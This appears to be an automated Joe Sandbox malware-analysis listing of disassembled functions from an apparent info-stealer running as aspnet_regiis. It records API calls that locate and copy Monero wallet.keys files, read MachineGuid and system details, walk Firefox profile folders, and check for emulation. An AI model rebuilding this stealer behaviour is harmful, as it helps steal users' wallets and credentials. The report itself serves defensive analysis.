Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$ Stable\$firefox
API String ID: 3722407311-2697854757
Opcode ID: f47b23f97fdeb4fe9174fc30896a49faa6594533cdb81bf1bfd78cb08f979325
Instruction ID: 5ee9920858f87ab95f25d72870b6309d75f224e844084726c2f6447a77145a42
Opcode Fuzzy Hash: f47b23f97fdeb4fe9174fc30896a49faa6594533cdb81bf1bfd78cb08f979325
Instruction Fuzzy Hash: 5FB19E72D00109AFDF20FFA9D947B8D7772AF40318F550126F904B7291DB78AA688BD9

Function 00401AB8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 129stringfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401ADC

Part of subcall function 00401A51: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
Part of subcall function 00401A51: HeapAlloc.KERNEL32(00000000), ref: 00401A6C
Part of subcall function 00401A51: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
Part of subcall function 00401A51: RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4
Part of subcall function 00401A51: RegCloseKey.ADVAPI32(00401AE9), ref: 00401AAD

lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00401AF1
lstrlenA.KERNEL32(?), ref: 00401AFE
lstrcatA.KERNEL32(?,.keys), ref: 00401B19

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

CopyFileA.KERNEL32(?,?,00000001), ref: 00401C2A

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 00401C9D

Part of subcall function 00416E97: CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
Part of subcall function 00416E97: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

Strings

\Monero\wallet.keys, xrefs: 00401B2F
.keys, xrefs: 00401B0D

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseCreateHeaplstrlen$CopyDeleteHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait_memset
String ID: .keys$\Monero\wallet.keys
API String ID: 615783205-3586502688
Opcode ID: bd28ef697300de5884e94e1d673300fc32a7f2f0cccbe00ca3c3488f143d60c0
Instruction ID: 0130a2ac35af31154b38bf277d642d4284bba686758d2f8fdbfb5a94e7082e10
Opcode Fuzzy Hash: bd28ef697300de5884e94e1d673300fc32a7f2f0cccbe00ca3c3488f143d60c0
Instruction Fuzzy Hash: C95160B1E9012D9BCF11EB25DD466DC7379AF04308F4054BAB608B3191DA78AFC98F58

Function 00415DF7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,00000000,?), ref: 00415E86

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 00415EA3
lstrcatA.KERNEL32(?,?), ref: 00415EC2
lstrcatA.KERNEL32(?,?), ref: 00415ED6
lstrcatA.KERNEL32(?), ref: 00415EE9
lstrcatA.KERNEL32(?,?), ref: 00415EFD
lstrcatA.KERNEL32(?), ref: 00415F10

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00415B0B: GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415B30
Part of subcall function 00415B0B: HeapAlloc.KERNEL32(00000000), ref: 00415B37
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415B50
Part of subcall function 00415B0B: FindFirstFileA.KERNEL32(?,?), ref: 00415B67
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A98), ref: 00415B88
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A9C), ref: 00415BA2
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415BC9
Part of subcall function 00415B0B: CopyFileA.KERNEL32(?,?,00000001), ref: 00415C86
Part of subcall function 00415B0B: DeleteFileA.KERNEL32(?), ref: 00415CA9

Strings

LzA, xrefs: 00415FC2

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Heapwsprintf$AllocAttributesCopyDeleteFindFirstFolderPathProcesslstrcpy
String ID: LzA
API String ID: 1546541418-1388989900
Opcode ID: 61a9eae631c4f4c070e409ad03bdd47fbe0ad62b514eba050441441a9a86a129
Instruction ID: 3907ee1014e8156982b731ec0efd03be7befdbbf2a83afad572f10a5b305f32e
Opcode Fuzzy Hash: 61a9eae631c4f4c070e409ad03bdd47fbe0ad62b514eba050441441a9a86a129
Instruction Fuzzy Hash: AC51FBB1A0011C9BCF54DB64DC85ADDB7B9BB4C315F4044EAF609E3250EA35AB89CF58

Function 0040FB2D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,?,?), ref: 0040FB52
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 0040FB7E
_memset.LIBCMT ref: 0040FBC1
??_V@YAXPAX@Z.MSVCRT(?), ref: 0040FD17

Part of subcall function 0040F030: _memmove.LIBCMT ref: 0040F04A

Strings

N0ZWFt, xrefs: 0040FC7E

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: OpenProcess_memmove_memset
String ID: N0ZWFt
API String ID: 2647191932-431618156
Opcode ID: bf469ea079a5c9aa9189a4ad8b5c63bf1766affe1fde04721859988ce0042922
Instruction ID: eb1f70013287725bf786605e83da5f1b289e944c87060308bf9427b65ac1957a
Opcode Fuzzy Hash: bf469ea079a5c9aa9189a4ad8b5c63bf1766affe1fde04721859988ce0042922
Instruction Fuzzy Hash: 045191B1D0022C9FDB309F54DC85BDDB7B9AB44308F0001FAA609B7692D6796E89CF59

Function 00407FAC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
LocalFree.KERNEL32(0040ECBC,?,?,?,?,0040E756,?,?,?), ref: 0040802B
CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Strings

V@, xrefs: 00408042

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID: V@
API String ID: 2311089104-383300688
Opcode ID: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction ID: 10e4ee5bcd24e5c00d10c93a2cb3902743b6293cd5753d2e79081f11b23a5eb1
Opcode Fuzzy Hash: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction Fuzzy Hash: 47116070900204EFDF25DF64DD88EAF7BB9EB48741F20056AF481F2290EB769A85DB11

Function 004115D4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00411607
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
RegCloseKey.ADVAPI32(?,?,?,?), ref: 00411657
CharToOemA.USER32(?,?), ref: 0041166B

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 0041161C
MachineGuid, xrefs: 00411640

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2235053359-1211650757
Opcode ID: ef8e750435fd874f5544eab0802719870d73a3aabe5340ca703cc68e518caacf
Instruction ID: 75e31153c2228976b0cf0a8f1d4bbd960c746e32b60f2683a95406e25632d02a
Opcode Fuzzy Hash: ef8e750435fd874f5544eab0802719870d73a3aabe5340ca703cc68e518caacf
Instruction Fuzzy Hash: CC111EB590021DAFDB10DF90DC89FEAB7BDEB08309F4041E6A659E2052D7759F888F14

Function 00401A51 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
HeapAlloc.KERNEL32(00000000), ref: 00401A6C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4
RegCloseKey.ADVAPI32(00401AE9), ref: 00401AAD

Strings

wallet_path, xrefs: 00401A9C
SOFTWARE\monero-project\monero-core, xrefs: 00401A7F

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3466090806-4244082812
Opcode ID: 724872420e6656dc421950b0da405abf7eebffbf311253c609d29da366c3edf5
Instruction ID: a12903c7620fb5d6c8df92349d75cdfb1a5743fd57e0ed8a0c6fb3df1ac1df80
Opcode Fuzzy Hash: 724872420e6656dc421950b0da405abf7eebffbf311253c609d29da366c3edf5
Instruction Fuzzy Hash: ACF03075640304BFEB149B90DC0AFAA7A69DB44B06F141065B601B5190E6B66A509A24

Function 00410B30 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B79
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B95
RegCloseKey.ADVAPI32(00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B9E

Strings

Windows 11, xrefs: 00410B5C

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction ID: c636f12a4b9fd3341eb7223670fa9a8d4496e2c02347a6f2be12f88bf3247473
Opcode Fuzzy Hash: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction Fuzzy Hash: 1AF06875600304FBFF149BD1DC4AFAB7A7EEB4470AF1410A5F601D5190E7B6AA909714

Function 00410BA9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BBD
HeapAlloc.KERNEL32(00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BC4
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BE2
RegQueryValueExA.KERNEL32(00436888,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ), ref: 00410BFD
RegCloseKey.ADVAPI32(00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410C06

Strings

CurrentBuildNumber, xrefs: 00410BF5

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction ID: adfa9e2f60a12e4d5f9b95a3627e322926d469c0f3b43989f67d349f50e983ff
Opcode Fuzzy Hash: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction Fuzzy Hash: E9F09075640304BBEF159B90DC0AFAF7A7EEB44B06F240055F601A50A0E6B25A909B50

Function 0041566F Relevance: 9.1, APIs: 6, Instructions: 107registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004156A4
RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?,?,00000000,?), ref: 004156C4
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF), ref: 004156EA
RegCloseKey.ADVAPI32(?), ref: 004156F6
lstrcatA.KERNEL32(?,?), ref: 00415725
lstrcatA.KERNEL32(?), ref: 00415738

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue_memset
String ID:
API String ID: 3891774339-0
Opcode ID: 61c845370fa5e20ce0e4bed28fcb2d467033b3eb1257b194b560fd969d8f00f9
Instruction ID: 247fa685f6815e34cff7f8df4b350b2d93bc7a81ee75f5ea83cfe721da60279c
Opcode Fuzzy Hash: 61c845370fa5e20ce0e4bed28fcb2d467033b3eb1257b194b560fd969d8f00f9
Instruction Fuzzy Hash: 6941CE7194011D9FDF24EF60EC86EE8777ABB18309F4004AAB109A31A0EE759FC59F94

Function 00411757 Relevance: 9.1, APIs: 6, Instructions: 58commemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041175E
CoCreateInstance.OLE32(004331B0,00000000,00000001,0043AF60,?,00000018,00411901,?), ref: 00411781
SysAllocString.OLEAUT32(?), ref: 0041178E
_wtoi64.MSVCRT ref: 004117C1
SysFreeString.OLEAUT32(?), ref: 004117DA
SysFreeString.OLEAUT32(00000000), ref: 004117E1

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prolog3_catchInstance_wtoi64
String ID:
API String ID: 181426013-0
Opcode ID: 2a8a8d3a5fb5e4c548b2e74474f278fcd92b95a51f6f99006cb2dd729b002af8
Instruction ID: 49cd324ebe81867dc14fdb11462f5a122b1e841d4163eb6196de4943798d3ef6
Opcode Fuzzy Hash: 2a8a8d3a5fb5e4c548b2e74474f278fcd92b95a51f6f99006cb2dd729b002af8
Instruction Fuzzy Hash: 71115170A0424ADFCB019FA4CC999EEBBB5AF48300F54417EF215E72A0CB355945CB59

Function 004010F0 Relevance: 9.1, APIs: 6, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 004010AA
_memset.LIBCMT ref: 004010D0
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 004010E6
GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,004184CC), ref: 00401100
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401107
ExitProcess.KERNEL32 ref: 00401112

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

